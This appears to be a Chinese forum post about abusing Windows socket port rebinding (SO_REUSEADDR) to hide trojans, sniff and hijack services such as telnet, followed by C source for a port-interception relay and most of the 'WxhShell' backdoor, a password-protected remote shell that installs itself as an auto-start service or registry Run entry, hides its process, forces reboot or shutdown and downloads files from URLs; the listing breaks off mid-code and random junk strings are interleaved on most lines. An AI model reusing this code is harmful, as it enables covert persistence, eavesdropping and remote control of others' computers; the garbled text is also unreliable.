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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: mA4]c   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); j# n  
i}v3MO\X  
  saddr.sin_family = AF_INET; _CG ED{b@  
C /w]B[H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); *#j_nNM4  
gb/<(I )  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); _*n 4W^8  
k; ned  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 #NWS)^&1b  
qsdgG1<  
  这意味着什么?意味着可以进行如下的攻击: |)%;B%  
V(0V$&qipc  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 N^zFKDJG  
> mEB,  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vvF]g.,  
lMe+.P|  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 S^nI=HTm  
]\*_}  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  SzyaVBD3  
0lS=-am  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Nq#B4Zx  
]l6niYVB2  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 s/Q8(sF5  
n W:Bo#  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 d8&T62Dnd4  
j5G=ZI86y  
  #include ,YF1* 69  
  #include KdC'#$  
  #include cg^=F_h  
  #include    3+H[S#e:Z  
  DWORD WINAPI ClientThread(LPVOID lpParam);   z,(.` %h  
  int main() n"f: 6|<  
  { j>#ywh*A  
  WORD wVersionRequested; 6!v$"u|[!'  
  DWORD ret; vAfYONU  
  WSADATA wsaData; nTr{ D&JS  
  BOOL val; 0+Q; a  
  SOCKADDR_IN saddr; URj2 evYW  
  SOCKADDR_IN scaddr; abg` : E  
  int err; sv2XD}}  
  SOCKET s; Vj6 w7hz  
  SOCKET sc; l]S%k&  
  int caddsize; >`I%^+ z  
  HANDLE mt; HH|N~pBJB  
  DWORD tid;   K6N+0#  
  wVersionRequested = MAKEWORD( 2, 2 ); &)!4rABn  
  err = WSAStartup( wVersionRequested, &wsaData ); _J>!K'Dz  
  if ( err != 0 ) { .Xk#Cwm'  
  printf("error!WSAStartup failed!\n"); ~;0W +  
  return -1; ^a=V.  
  } 7myYs7N8[  
  saddr.sin_family = AF_INET; ]4]AcJj  
   =L*-2cE6#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Z*YS7 ~  
&+ UnPE(  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); C&;m56  
  saddr.sin_port = htons(23); EKNmXt1 lE  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) N[;R8S P  
  { !YX_k<1E  
  printf("error!socket failed!\n"); 6\xfoy|j  
  return -1; S.!K  
  } jz,Gj}3;  
  val = TRUE; oVY_|UujG  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~{ l @  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [I78<IJc  
  { ex8}./mjJ  
  printf("error!setsockopt failed!\n"); *z)+'D*+  
  return -1;  BF /4  
  } -V=,x3Zew  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; r}-vOPn`E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 k<y~n*{_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 p:3 V-$4X  
4VHX4A}CgA  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ;nKhmcQ4  
  { eHU b4,%P  
  ret=GetLastError(); 0Z jE(3i  
  printf("error!bind failed!\n"); H6<3'P  
  return -1; u^( s0q  
  } Fz2C XC  
  listen(s,2); r:H.VAD  
  while(1) E51S#T  
  {  yHn8t]{  
  caddsize = sizeof(scaddr); I$*LMzve  
  //接受连接请求 G!7A]s>C  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pet q6)g?  
  if(sc!=INVALID_SOCKET) ~9c jc  
  { :"`1}Q  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); VlS`m,:{  
  if(mt==NULL) "=yz}~,  
  { kyr=q-y  
  printf("Thread Creat Failed!\n"); &90pKs  
  break; E=t^I/f)E  
  } JsDT  
  } ]*<!|;q  
  CloseHandle(mt); ! l"*DR  
  } %FLe@.Ep{D  
  closesocket(s); ()zn8_z  
  WSACleanup(); ~z7Fz"o<  
  return 0; B !Z~jT  
  }   <%S[6*6U  
  DWORD WINAPI ClientThread(LPVOID lpParam) o^Qy71Uj  
  { '25zb+ -  
  SOCKET ss = (SOCKET)lpParam; CmdPa!4)  
  SOCKET sc; ';I(#J6  
  unsigned char buf[4096]; CIAKXYM  
  SOCKADDR_IN saddr; 'W/AYF^5  
  long num; +{WZpP},v  
  DWORD val; R_b)2FU1y  
  DWORD ret; ZV$!dHW/  
  //如果是隐藏端口应用的话,可以在此处加一些判断 tD> qHR  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   '3 JVUHn  
  saddr.sin_family = AF_INET; Iy Vmz'  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dm"|\7  
  saddr.sin_port = htons(23); L 7l"*w(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W/u_<\  
  { E+~1GKd  
  printf("error!socket failed!\n"); r=<1*u  
  return -1; Xuj=V?5  
  } Za7!n{? 0  
  val = 100; 9eEA80i7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2D4c|R@+  
  { O ;m[  
  ret = GetLastError(); ;upYam"  
  return -1; T 2Gscey  
  } pXK-,7-  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (} Y|^uM,  
  { spTIhZ  
  ret = GetLastError(); 6&,9=(:J&R  
  return -1;  4q\gFFV4  
  } 7A{,)Y/w ^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y/qs\c+  
  { eNr2-R  
  printf("error!socket connect failed!\n"); SeBl*V  
  closesocket(sc); 'S 6JpWG1  
  closesocket(ss); vxXrVPU3  
  return -1; LcGG~P|ML  
  } vue=K  
  while(1) B0,C!??5  
  { IQ5'4zQg=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 r_pZK(G%  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 )V9wU1.  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 nS]Ih0( K  
  num = recv(ss,buf,4096,0); F,@uYMQs  
  if(num>0) pI}6AAs}Z  
  send(sc,buf,num,0); F\-oZ#g  
  else if(num==0) `}~NZ  
  break; FH7l6b,^  
  num = recv(sc,buf,4096,0); 9HZR%s[J  
  if(num>0) dI~{0)s  
  send(ss,buf,num,0); +lw1v  
  else if(num==0) l42tTD8Awz  
  break; \!zM4ppr  
  } ^-%O  
  closesocket(ss); /,JL \b  
  closesocket(sc); `\Te,  
  return 0 ; !uAqY\Is  
  } nI,-ftMD-|  
XF`?5G~~#  
dQ_yb+<  
========================================================== <+AvbqDe  
%h& F  
下边附上一个代码,,WXhSHELL 7$7#z\VWu  
2 xt$w%  
========================================================== 4td9=dNA+l  
~U1M -<IX  
#include "stdafx.h" i(0%cNP7  
D4PjE@D"H  
#include <stdio.h> AIt;~x  
#include <string.h> f# sDG  
#include <windows.h> Ummoph7_@  
#include <winsock2.h> }W nvz;]B  
#include <winsvc.h> :F?L,I,K  
#include <urlmon.h> 'J_6SD  
:F pt>g  
#pragma comment (lib, "Ws2_32.lib") [wM]w  
#pragma comment (lib, "urlmon.lib") o| 9Mj71  
i=\`f& B  
#define MAX_USER   100 // 最大客户端连接数 oTk?a!Q  
#define BUF_SOCK   200 // sock buffer 7xCm"jgP  
#define KEY_BUFF   255 // 输入 buffer y hNy  
5wa!pR\c  
#define REBOOT     0   // 重启 IV|})[n*  
#define SHUTDOWN   1   // 关机 c:`CL<xzU  
gS.,V!#t  
#define DEF_PORT   5000 // 监听端口 ? ;$f"Wl  
MmD1@fW32#  
#define REG_LEN     16   // 注册表键长度 rl:D>t(:.  
#define SVC_LEN     80   // NT服务名长度 eI=:z/pd  
R|-!5J4h  
// 从dll定义API \  6 : 7  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); JO&+W^$uY}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ;f9a0Vs  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); )\QPUdOvx  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 5k`Df/  
[*d<LAnuWP  
// wxhshell配置信息 5.F/>?<  
struct WSCFG { #NQx(C  
  int ws_port;         // 监听端口 -~&T0dt~  
  char ws_passstr[REG_LEN]; // 口令 KdLj1T  
  int ws_autoins;       // 安装标记, 1=yes 0=no UI74RP  
  char ws_regname[REG_LEN]; // 注册表键名 U9x6\Iy  
  char ws_svcname[REG_LEN]; // 服务名 ;#ElJXS  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 R;H>#caJ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ApqNV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 diD[/&k#kh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $DhW=(YM_a  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" {@ Z%6%'9  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 *&$2us0%%  
b2UqN]{  
}; JjnWv7W3$  
>JT^[i8[  
// default Wxhshell configuration QI6=[  
struct WSCFG wscfg={DEF_PORT, %)P)Xb  
    "xuhuanlingzhe", <L:}u!  
    1, mEq>{l:  
    "Wxhshell", ~o8x3`CoF  
    "Wxhshell", 3(=QY)  
            "WxhShell Service", h:{^&d a  
    "Wrsky Windows CmdShell Service", e6_`  
    "Please Input Your Password: ", ]s}9-!{O  
  1, K'S \$  
  "http://www.wrsky.com/wxhshell.exe", r<EwtO+x  
  "Wxhshell.exe" :djbZ><  
    }; :;N2hnHoG  
V7$-4%NL  
// 消息定义模块 4x?4[J~u[  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ->5[C0: ]  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f- ~]  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k5eTfaxl  
char *msg_ws_ext="\n\rExit."; 3'6by!N,d  
char *msg_ws_end="\n\rQuit."; tiTh7qYi9  
char *msg_ws_boot="\n\rReboot..."; /9SNXjfbt  
char *msg_ws_poff="\n\rShutdown..."; 0"DS>:Ntk  
char *msg_ws_down="\n\rSave to "; |!*abc\`(`  
(n4Uc308  
char *msg_ws_err="\n\rErr!"; &f<Ltdw  
char *msg_ws_ok="\n\rOK!"; &-p!Lg&D  
`l+9g"q  
char ExeFile[MAX_PATH]; |]tsf /SA  
int nUser = 0; z9ZS& =>  
HANDLE handles[MAX_USER]; t9[%o=N~lD  
int OsIsNt; ew*;mQd  
5~=wia  
SERVICE_STATUS       serviceStatus; gwN y]!  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; X{;5jnpG  
CzG/=#IU  
// 函数声明 (]sk3 A  
int Install(void); R/kfbV-b  
int Uninstall(void); AJ)N?s-=  
int DownloadFile(char *sURL, SOCKET wsh); 'Jl3%axR  
int Boot(int flag); C&&33L  
void HideProc(void); /[UuHU5*R  
int GetOsVer(void); #gRtCoew  
int Wxhshell(SOCKET wsl); (zIF2qY  
void TalkWithClient(void *cs); ]QmY`pTB`  
int CmdShell(SOCKET sock); 1owe'7\J  
int StartFromService(void); Ct386j><  
int StartWxhshell(LPSTR lpCmdLine); 884-\M"h  
ms/Q-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~uh,R-Q$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >^Y)@ J  
h#]LXs  
// 数据结构和表定义 \\$wg   
SERVICE_TABLE_ENTRY DispatchTable[] = 0t.v  
{ JVh/<A  
{wscfg.ws_svcname, NTServiceMain}, !=(M P:  
{NULL, NULL} . /~#  
}; qaEWK0  
js)I%Z  
// 自我安装 {z7kW@c  
int Install(void) a'B 5m]%  
{ ./Wi(p{F  
  char svExeFile[MAX_PATH]; <*5`TE0J  
  HKEY key; yI8 /m|  
  strcpy(svExeFile,ExeFile); mM-7 j z  
T*zy^we  
// 如果是win9x系统,修改注册表设为自启动 yrV]I(Xe  
if(!OsIsNt) { 7:X@lmBz=  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Qd"u$~ qC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); xoNn'LF#u  
  RegCloseKey(key); A&=`?4>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { onF?;>[  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Pc=:j(  
  RegCloseKey(key); Y\{&chuF  
  return 0; H263<^   
    } o&Sv2"2  
  } `&>CK`%Xu  
} :hUt7/3c  
else { 9Q:}VpT~nG  
8M7pc{  
// 如果是NT以上系统,安装为系统服务 2jH&@g$cl;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); f<P>IE  
if (schSCManager!=0) $iOkn|~<@W  
{ 0xpE+GY  
  SC_HANDLE schService = CreateService VMV~K7%0  
  ( >@L^^ -r  
  schSCManager, ?Fj >7  
  wscfg.ws_svcname, yNN_}9  
  wscfg.ws_svcdisp,  y jY}o  
  SERVICE_ALL_ACCESS, k"J=CDP\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 21.N+H'  
  SERVICE_AUTO_START, za [;d4<}k  
  SERVICE_ERROR_NORMAL, Rb_+C  
  svExeFile, ?8R  
  NULL, G,A;`:/  
  NULL, LJ mRa  
  NULL, h/\/dp/tt  
  NULL, >y^zagC*  
  NULL ,v>| Ub,  
  ); mKhlYV n  
  if (schService!=0) ]|)M /U *  
  { BZ>,Qh!J  
  CloseServiceHandle(schService); {ZD'l5jU  
  CloseServiceHandle(schSCManager); iM{UB=C  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KfMaVU=4P  
  strcat(svExeFile,wscfg.ws_svcname); j!hdi-aTU  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { k{B;J\`E;  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,P$Crs[  
  RegCloseKey(key); lr&O@ 5"oy  
  return 0; `~{ 0  
    } =@ "'aCU/  
  } 6sl2vHzA  
  CloseServiceHandle(schSCManager); =1h> N/VJ  
} OQa;EBO  
} -H AUKY@;5  
HLp'^  
return 1; qlIbnyP<  
} GXx/pBdy[4  
iJ 8I# j+N  
// 自我卸载 \[;Qqn0  
int Uninstall(void) ]^?V8*zL]  
{ b1frAA  
  HKEY key; ^+q4*X6VB  
Z<n%~z^  
if(!OsIsNt) { p_Y U!j_VE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :} 9Lb)Yp  
  RegDeleteValue(key,wscfg.ws_regname); TrC :CL  
  RegCloseKey(key); 7T-}oNaJA\  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hNGD `"U  
  RegDeleteValue(key,wscfg.ws_regname); ;mLbgiqQ J  
  RegCloseKey(key); +5IC-=ZB  
  return 0; `]\:%+-  
  } I85bzzZB  
} jq"iLgEMO  
}  |_ `wC  
else { _ ^cFdP)8|  
aO>Nev  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >KMTxHE`+  
if (schSCManager!=0) 0I \l_St@  
{ TNK~ETE4  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); S#l6=zI7^R  
  if (schService!=0) 0xe*\CAo  
  { lpHz*NZ0  
  if(DeleteService(schService)!=0) { u &s>UkR  
  CloseServiceHandle(schService); /6a617?9J  
  CloseServiceHandle(schSCManager); SYmiDR  
  return 0; k>dzeH  
  } b~<Tgo_/jf  
  CloseServiceHandle(schService); 2%zJI"Ic  
  } 2v9T&xo=  
  CloseServiceHandle(schSCManager); cp g+-Zf%  
} +^v]d_~w_  
} !$|h[ct  
o 9]2  
return 1; &[iunJv:eq  
} 8ECBi(  
+p#Q|o'  
// 从指定url下载文件 l4`HuNR1  
int DownloadFile(char *sURL, SOCKET wsh) R2!_)Rpf  
{ NA9N#;  
  HRESULT hr; 5fVm392+  
char seps[]= "/"; #K _E/~  
char *token; q%xq\L.  
char *file; _|%l) KO  
char myURL[MAX_PATH]; " .:b43Z  
char myFILE[MAX_PATH]; `SGI Qrb  
*{e?%!Q  
strcpy(myURL,sURL); Zo(p6rku  
  token=strtok(myURL,seps); Q( \2(x\  
  while(token!=NULL) _ZU.;0  
  { = 7TK&  
    file=token; Fi!XaO  
  token=strtok(NULL,seps); ss>p  
  } /6Vn WrN_  
p swEIa  
GetCurrentDirectory(MAX_PATH,myFILE); n.\|NR'v  
strcat(myFILE, "\\"); ?g\SF}2  
strcat(myFILE, file); %~A$cc  
  send(wsh,myFILE,strlen(myFILE),0); a]mPc^h  
send(wsh,"...",3,0); ;'g.%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); (D 5.NB%@  
  if(hr==S_OK) _pS!sY~d  
return 0; E A8>{}Z*  
else L-v-KO6  
return 1; c (Gl3^  
Q!_@Am"h  
} mfpL?N  
`tb@x ^  
// 系统电源模块 KJ&~z? X  
int Boot(int flag) rAZsVnk?  
{ cw)'vAE  
  HANDLE hToken; ubvXpK:.  
  TOKEN_PRIVILEGES tkp; C-6m[W8S  
4RXF.kJ3=  
  if(OsIsNt) { 'E#;`}&Ah  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); wX!>&Gc.  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); V0!.>sX9  
    tkp.PrivilegeCount = 1; A(<"oAe|  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AJ`R2 $  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); |?KdQeL  
if(flag==REBOOT) { h-`*S&mZ  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) | N/Wu9w$  
  return 0; tf+5@Zf]4  
} +W-,74A  
else { hi(u L>\  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) +,BJ4``*k  
  return 0; _x ;fTW0  
} OY>0qj  
  } 'K0=FPB/@  
  else { 4M4oI .  
if(flag==REBOOT) { hz8Z)xjJ V  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) V.k2t$@  
  return 0; =*Ad  
} l~v BA$,  
else { D>~S-]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4H\+vJPM  
  return 0; ^s=p'&6  
} 4:Bpz;x  
} ~>]/1JFz  
H#+?)<UQ  
return 1; (i*;V0  
} c 8 xZT  
$_P*Bk)  
// win9x进程隐藏模块 pd1V8PZSG  
void HideProc(void) #g6*s+Gm  
{ VP<_~OLc  
vKvT7Zxc  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /EpsJb`kj  
  if ( hKernel != NULL ) xep!.k x  
  { DY~zi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =p lG9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); />i~No#Xm  
    FreeLibrary(hKernel); Pd[&&!+gV  
  } ZTwCFn  
NpIx\\d  
return; Q41eYzAi  
} Nhm)bdv]  
&74*CO9B9  
// 获取操作系统版本 qU) pBA  
int GetOsVer(void) ZrA OX'>u9  
{ i1kTP9  
  OSVERSIONINFO winfo; u9 yXHf  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XZk?aik}`  
  GetVersionEx(&winfo); 9W[ ~c"Ku  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) b2Jgg&?G  
  return 1; z^q ~|7  
  else /4f4H?A -  
  return 0; l]GUQcN=  
} \D]H>i$  
qL03iV#h*V  
// 客户端句柄模块 8@f=GJf  
int Wxhshell(SOCKET wsl) gZ^NdDBO  
{ )|`# BC  
  SOCKET wsh; ny. YkN2  
  struct sockaddr_in client; !VfP#B6.  
  DWORD myID; EZ.|6oug\  
Yc*Ex-s  
  while(nUser<MAX_USER) 6tBh`nYB=  
{ ^?5 [M^  
  int nSize=sizeof(client); u{-J?t&`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YlY3C  
  if(wsh==INVALID_SOCKET) return 1; ]qLro<  
ua^gG3n0  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); {'QA0K  
if(handles[nUser]==0) #z*-  
  closesocket(wsh); ^j1WF[GiSO  
else lR9~LNK?  
  nUser++; m'Thm{Y,?n  
  } `XJU$c  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); r3hUa4^97  
i8tH0w/(M  
  return 0; $g?`yE(K  
} Xyrf$R'  
^,$>z*WQ.  
// 关闭 socket `V;vvHP A  
void CloseIt(SOCKET wsh) 'WA]DlO  
{ j0L A  
closesocket(wsh); z}" Xt=G?  
nUser--; &mM[q 'V  
ExitThread(0); ~S],)E1w  
} k3 65.nc  
SRixT+E  
// 客户端请求句柄 #hOAG_a,  
void TalkWithClient(void *cs) ,MtN_V-  
{ {M5[gr%  
dz6i~&  
  SOCKET wsh=(SOCKET)cs; \.R+|`{tf  
  char pwd[SVC_LEN]; Ny.s u?E  
  char cmd[KEY_BUFF]; m 8Q[+_:$H  
char chr[1]; YXR%{GUP[  
int i,j; #^>5,M2  
<]u~;e57  
  while (nUser < MAX_USER) { 6n 2LG  
DKjkO5R\  
if(wscfg.ws_passstr) { O%(E 6 n  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q x1}e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ~t $zypw  
  //ZeroMemory(pwd,KEY_BUFF); 8?L7h\)-  
      i=0; g]=w_  
  while(i<SVC_LEN) { N* C"+2  
(>OCLmV$  
  // 设置超时 n 2k&yL+a  
  fd_set FdRead; 0V5 RZ`.  
  struct timeval TimeOut; !Ol>![  
  FD_ZERO(&FdRead); 9K>$  
  FD_SET(wsh,&FdRead); bUW`MH7yJ  
  TimeOut.tv_sec=8; v\Y362Xv  
  TimeOut.tv_usec=0; 6%K,3R-d  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); !;YmLJk;hN  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?0Qm  
)1>fQ9   
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #8!xIy  
  pwd=chr[0]; f2sv$#'  
  if(chr[0]==0xd || chr[0]==0xa) { YlZe  
  pwd=0; }NQ {S3JW  
  break; QT;mCD=OD  
  } /A U& X  
  i++; Kw%n;GFl'  
    } Hw1<! Dyv  
a8#6}`|C?  
  // 如果是非法用户,关闭 socket ^_5Nh^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .,C8ASfh  
} }}";)}C`  
y] Io`w(>  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 24TQl<H{  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0);  $)5F3 a|  
L{hP&8$k  
while(1) { 7>g^OE f  
PD$g W`V  
  ZeroMemory(cmd,KEY_BUFF); s uT#k3  
?#8s=t  
      // 自动支持客户端 telnet标准   (f^K\7HM  
  j=0; n$*'J9W~  
  while(j<KEY_BUFF) { W2F %E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); :EISms  
  cmd[j]=chr[0]; ?mK`Wleh?  
  if(chr[0]==0xa || chr[0]==0xd) { Ip/_uDi+!Z  
  cmd[j]=0; Z/-!-  
  break; pU4 B6KTW  
  } je^!W?U4<  
  j++; k{/2vV[`]  
    } {xm^DT  
+gG6(7&+=  
  // 下载文件 Mh04O@"  
  if(strstr(cmd,"http://")) { &></l| hY  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !$&3h-l[  
  if(DownloadFile(cmd,wsh)) Z7<N<  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]%yph3C  
  else FbMX?T"yH  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); dF$Fd{\4^  
  } $Ik\^:-  
  else { /( /)nYAjk  
By|y:  
    switch(cmd[0]) { c=U1/=R5  
  C F2*W).+  
  // 帮助 nVqFCBB  
  case '?': { -r9G5Z!|n  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x0ZEVa0`4  
    break; p{knQ],   
  } E\5cb[Y  
  // 安装 ':kj\$U  
  case 'i': { A$K>:Tt>  
    if(Install()) (fc /"B-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r-#23iT.~  
    else f)xHSF"  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ORPQ1%tu  
    break; Zh?1+Sz&  
    } 2TN+ (B#Z!  
  // 卸载 k<xiP@b{y  
  case 'r': { 4{Vw30DZ  
    if(Uninstall()) 6e1/h@p\7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %4:tRF  
    else ~ {sRK  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %m:T?![XO  
    break; T&_!AjH  
    } C wKo'PAJ  
  // 显示 wxhshell 所在路径 zG_e=   
  case 'p': { :T5p6:  
    char svExeFile[MAX_PATH]; nu {bEp  
    strcpy(svExeFile,"\n\r"); Is~bA_- ;  
      strcat(svExeFile,ExeFile); F&r+"O)^-R  
        send(wsh,svExeFile,strlen(svExeFile),0); J1I"H<}-6  
    break; |Uz?i7z  
    } |k~\E|^  
  // 重启 \29a@6  
  case 'b': { =]h5RC  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }(AgXvRq  
    if(Boot(REBOOT)) #un#~s 7Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gn&jNuGg  
    else { ]| oh1q  
    closesocket(wsh); [TiOh'  
    ExitThread(0); 9W ng(ef6G  
    } Q ^%+r"h  
    break; uJ<sa;  
    } ;H5H7ezV  
  // 关机 3%Jg' Tr+  
  case 'd': { d[+xLa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); [4:_6vd7X  
